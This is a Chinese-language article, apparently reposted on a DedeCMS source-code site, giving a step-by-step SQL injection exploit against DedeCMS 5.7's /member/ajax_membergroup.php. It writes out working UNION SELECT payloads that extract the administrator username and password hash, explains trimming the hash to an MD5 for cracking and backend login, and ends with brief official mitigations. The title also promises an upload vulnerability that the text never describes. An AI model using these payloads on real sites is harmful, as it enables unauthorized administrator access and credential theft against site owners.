dedecms5.7最新注入和上传漏洞(2012.4.26)

发布时间：2012-4.26
漏洞类型：注入漏洞、上传漏洞
获取dedecms版本升级时间：“/data/admin/ver.txt”页面获取系统最后升级时间。

(此图片来源于网络，如有侵权，请联系删除! )

然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如下图说明该版本存在漏洞。

(此图片来源于网络，如有侵权，请联系删除! )

/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'` 查看id为1(管理员)的用户名。

(此图片来源于网络，如有侵权，请联系删除! )

/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'` 查看id为1(管理员)的密码

(此图片来源于网络，如有侵权，请联系删除! )

得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5。
至此得到管理员用户名为admin和密码的md5，解密md5即可以管理员权限登录后台。

官方临时解决方法：

方案一、临时补丁
方案二、以网站管理员身份后台禁用会员功能：系统 -> 系统基本参数 -> 会员设置 -> 是否开启会员功能改为（否）
方案三、可考虑直接重命名或删除存在漏洞的文件 /member/ajax_membergroup.php，最暴力却最有效的方式。

临时补丁：暂无

上一篇：想不显示织梦栏目列表页缩略图就是不显示默认缩略图怎么办？？

下一篇：dedecms 5.7sp1无法修改关键词频率bug

免责声明：本站所有文章和图片均来自用户分享和网络收集，文章和图片版权归原作者及原出处所有，仅供学习与参考，请勿用于商业用途，如果损害了您的权利，请联系网站客服处理。

来源：网友投稿关注：时间：2017-12-06 09:05

☉首先声明，只要是我们的vip会员所有源码均可以免费下载，不做任何限制(了解更多)
☉本站的源码不会像其它下载站一样植入大量的广告。为了更好的用户体验以后坚持不打水印
☉本站只提供精品织梦源码，源码在于可用，不在多！！希望在这里找到你合适的。
☉本站提供的整站织梦程序，均带数据及演示地址。可以在任一源码详情页查看演示地址
☉本站所有资源（包括源码、模板、素材、特效等）仅供学习与参考，请勿用于商业用途。
☉如有其他问题，请加网站客服QQ进行交流。